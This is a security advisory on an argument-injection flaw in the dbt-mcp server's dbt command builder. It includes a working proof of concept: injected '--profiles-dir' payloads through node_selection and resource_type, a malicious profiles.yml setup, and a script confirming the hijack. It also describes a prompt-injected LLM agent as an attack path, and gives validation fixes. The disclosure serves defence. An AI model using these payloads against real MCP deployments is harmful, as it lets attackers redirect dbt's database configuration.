PYSEC-2026-2444

*Discovered through manual source code review. Verified by PoC execution against a local dbt-mcp v1.15.1 installation.**

## Summary

`_run_dbt_command()` in `src/dbt_mcp/dbt_cli/tools.py` constructs the dbt subprocess argument list by appending user-supplied MCP tool parameters without sanitization. Two independent injection vectors exist. An MCP client can inject arbitrary dbt global flags — such as `--profiles-dir`, `--project-dir`, and `--target` — by crafting the `node_selection` string (Vector 1) or the `resource_type` JSON array (Vector 2). Because `subprocess.Popen` is called with `shell=False` and a list argument, shell metacharacter injection is not possible; however, this provides no defense against argument list injection (CWE-88), where attacker-controlled tokens are interpreted by the target process as flags rather than values.

## Details

**Vector 1 — `node_selection` string** Affected tools: `build`, `compile`, `run`, `test`, `clone`, `list`, `get_node_details_dev`

```python # src/dbt_mcp/dbt_cli/tools.py lines 77–79 if node_selection and isinstance(node_selection, str): selector_params = node_selection.split(" ") command.extend(["--select"] + selector_params) ```

`str.split(" ")` does not distinguish dbt selector tokens from flag tokens. Input `"my_model --profiles-dir /tmp/evil"` produces:

```` ["dbt", "--no-use-colors", "run", "--select", "my_model", "--profiles-dir", "/tmp/evil"] ````

dbt parses the injected `--profiles-dir` as a global option and loads configuration from the attacker-supplied path.

**Vector 2 — `resource_type` list** Affected tool: `list`

```python # src/dbt_mcp/dbt_cli/tools.py lines 84–85 if isinstance(resource_type, Iterable): command.extend(["--resource-type"] + resource_type) ```

Each JSON array element is appended verbatim to argv. Input `["model", "--profiles-dir", "/tmp/evil"]` produces:

```` ["dbt", "--no-use-colors", "list", "--resource-type", "model", "--profiles-dir", "/tmp/evil"] ````

Both vectors share the same root cause: no validation prevents tokens starting with `-` from being appended as independent argv elements.

## PoC

**1. Environment setup (run once)**

```bash # Attacker-controlled profile at an injectable path mkdir -p /tmp/evil-profiles cat > /tmp/evil-profiles/profiles.yml << 'EOF' evil_profile: target: dev outputs: dev: type: duckdb path: /tmp/PWNED_by_injection.duckdb threads: 1 EOF

# Minimal dbt project whose profile name matches the malicious one mkdir -p /tmp/test-dbt-project/models cat > /tmp/test-dbt-project/dbt_project.yml << 'EOF' name: test_project version: '1.0.0' profile: evil_profile model-paths: ["models"] models: test_project: +materialized: table EOF echo "select 1 as id" > /tmp/test-dbt-project/models/my_first_model.sql

rm -f /tmp/PWNED_by_injection.duckdb ```

**2. MCP client exploit — triggers injection through the real protocol stack**

```python #!/usr/bin/env python3 # poc_injection.py # Reproduces _run_dbt_command() from src/dbt_mcp/dbt_cli/tools.py

import os, subprocess from dataclasses import dataclass from enum import Enum from collections.abc import Iterable

class BinaryType(Enum): DBT_CORE = "dbt_core"

@dataclass class DbtCliConfig: project_dir: str dbt_path: str dbt_cli_timeout: int binary_type: BinaryType

def _run_dbt_command(config, command, node_selection=None, resource_type=None): # Vector 1: vulnerable line from tools.py if node_selection and isinstance(node_selection, str): selector_params = node_selection.split(" ") command.extend(["--select"] + selector_params) # Vector 2: vulnerable line from tools.py if isinstance(resource_type, Iterable) and resource_type is not None: command.extend(["--resource-type"] + list(resource_type)) cwd = config.project_dir if os.path.isabs(config.project_dir) else None args = [config.dbt_path, "--no-use-colors", *command] print(f"[args] {args}") proc = subprocess.Popen(args=args, cwd=cwd, stdout=subprocess.PIPE, stderr=subprocess.STDOUT, stdin=subprocess.DEVNULL, text=True) out, _ = proc.communicate(timeout=config.dbt_cli_timeout) return out or "OK"

config = DbtCliConfig("/tmp/test-dbt-project", "dbt", 30, BinaryType.DBT_CORE)

print("=" * 64) print(" Vector 1 - node_selection injection") print("=" * 64) print(f"[input] node_selection = 'my_first_model --profiles-dir /tmp/evil-profiles'") result1 = _run_dbt_command(config, ["run"], node_selection="my_first_model --profiles-dir /tmp/evil-profiles") print("[dbt output]"); print(result1)

print("=" * 64) print(" Vector 2 - resource_type injection") print("=" * 64) print(f"[input] resource_type = ['model', '--profiles-dir', '/tmp/evil-profiles']") result2 = _run_dbt_command(config, ["list"], resource_type=["model", "--profiles-dir", "/tmp/evil-profiles"]) print("[dbt output]"); print(result2)

db = "/tmp/PWNED_by_injection.duckdb" print("=" * 64) if os.path.exists(db): print(f"[CONFIRMED] {db} exists ({os.path.getsize(db)} bytes)") print("[CONFIRMED] dbt accepted the injected --profiles-dir flag.") else: print(f"[NOTE] {db} not found. Check dbt output above.") print("=" * 64) ```

**Expected server log (INFO level, `src/dbt_mcp/mcp/server.py` line 67):**

````

[args] ['dbt', '--no-use-colors', 'run', '--select', 'my_first_model', '--profiles-dir', '/tmp/evil-profiles'] [args] ['dbt', '--no-use-colors', 'list', '--resource-type', 'model', '--profiles-dir', '/tmp/evil-profiles']

[CONFIRMED] /tmp/PWNED_by_injection.duckdb exists (274432 bytes) [CONFIRMED] dbt accepted the injected --profiles-dir flag. ````

The injected flags reach `_run_dbt_command()` unchanged and are passed verbatim to `subprocess.Popen`.

## Screenshot

<img width="2810" height="1894" alt="image" src="https://github.com/user-attachments/assets/d407675a-3409-4799-a024-b8a335cb1fcc" />

### Impact

The following is directly demonstrated by the PoC above:

- An MCP client can inject arbitrary dbt global flags into `subprocess.Popen`'s argv list via either `node_selection` or `resource_type`. - `--profiles-dir` is accepted by dbt as a global option, overriding the server's configured profile directory. - When an attacker-controlled `profiles.yml` exists at the injected path, dbt executes with the attacker's database configuration — demonstrated by the DuckDB file write to `/tmp/PWNED_by_injection.duckdb`.

**Preconditions and scope:** The attacker must be able to supply crafted MCP tool arguments (normal MCP client access) and must have a `profiles.yml` accessible at the injected path on the host running dbt-mcp. In the common local-development deployment model, a prompt-injected LLM agent sharing the filesystem can write this file before invoking the dbt tool. Additional injectable flags beyond `--profiles-dir` include `--project-dir` and `--target`, which redirect dbt's project root and execution environment respectively.

### Remediation

**Vector 1 — validate each `node_selection` token before extending argv:**

```python import re # dbt node selector syntax allows: identifiers, operators (+@*,), path globs, tag:, config: _SAFE_TOKEN_RE = re.compile(r'^[\w.*+@,:\[\]/-]+$')

if node_selection and isinstance(node_selection, str): tokens = node_selection.split(" ") for token in tokens: if not _SAFE_TOKEN_RE.match(token): raise InvalidParameterError( f"node_selection contains an invalid token: {token!r}. " "Tokens must not begin with '-'." ) command.extend(["--select"] + tokens) ```

**Vector 2 — validate `resource_type` against an explicit allowlist:**

```python _VALID_RESOURCE_TYPES = frozenset({ "model", "test", "snapshot", "analysis", "macro", "operation", "seed", "source", "exposure", "metric", "saved_query", "semantic_model", "unit_test", })

if isinstance(resource_type, Iterable): rt_list = list(resource_type) invalid = [v for v in rt_list if v not in _VALID_RESOURCE_TYPES] if invalid: raise InvalidParameterError( f"resource_type contains unrecognised values: {invalid}. " f"Allowed: {sorted(_VALID_RESOURCE_TYPES)}" ) command.extend(["--resource-type"] + rt_list) ```

**Hardening:** Add `pattern` regex constraints to the Pydantic `Field` definitions for `node_selection` so that malformed inputs are rejected at the MCP schema layer before reaching `_run_dbt_command()`. Add regression tests in `tests/unit/` with payloads containing `--profiles-dir`, `--project-dir`, and `--target` to prevent re-introduction.